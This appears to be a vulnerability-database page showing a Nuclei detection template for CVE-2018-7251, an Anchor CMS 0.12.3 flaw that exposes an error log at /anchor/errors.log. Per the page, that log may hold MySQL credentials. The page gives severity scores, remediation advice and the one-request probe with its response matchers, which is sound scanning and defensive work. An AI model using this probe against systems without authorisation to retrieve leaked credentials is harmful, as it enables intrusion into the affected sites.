Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2018-7251
HistoryJan 09, 2021 - 2:45 p.m.

Anchor CMS 0.12.3 - Error Log Exposure

2021-01-0914:45:11
ProjectDiscovery
github.com
8

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.065 Low

EPSS

Percentile

93.6%

Anchor CMS 0.12.3 is susceptible to an error log exposure vulnerability due to an issue  in config/error.php. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as "Too many connections") has occurred.
id: CVE-2018-7251

info:
  name: Anchor CMS 0.12.3 - Error Log Exposure
  author: pdteam
  severity: critical
  description: |
    Anchor CMS 0.12.3 is susceptible to an error log exposure vulnerability due to an issue  in config/error.php. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as "Too many connections") has occurred.
  impact: |
    An attacker can gain access to sensitive information, such as usernames, passwords, and system configuration details.
  remediation: |
    Upgrade to the latest version of Anchor CMS or apply the necessary patches to fix the error log exposure vulnerability.
  reference:
    - https://github.com/anchorcms/anchor-cms/issues/1247
    - https://twitter.com/finnwea/status/965279233030393856
    - http://packetstormsecurity.com/files/154723/Anchor-CMS-0.12.3a-Information-Disclosure.html
    - https://github.com/anchorcms/anchor-cms/releases/tag/0.12.7
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7251
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7251
    cwe-id: CWE-200
    epss-score: 0.06473
    epss-percentile: 0.93558
    cpe: cpe:2.3:a:anchorcms:anchor:0.12.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: anchorcms
    product: anchor
  tags: cve,cve2018,anchorcms,logs,error,packetstorm

http:
  - method: GET
    path:
      - '{{BaseURL}}/anchor/errors.log'

    matchers:
      - type: word
        words:
          - '"date":'
          - '"message":'
          - '"trace":['
        condition: and
# digest: 4a0a00473045022058d8c40d9e7df2e5d4b15882827256af64c97188dd2c24cbc0d0dc4c5d0f9e710221009869b1fb16948e81ec247976f03a6b5cbfc308f3525ff89b85f799154ddab604:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.065 Low

EPSS

Percentile

93.6%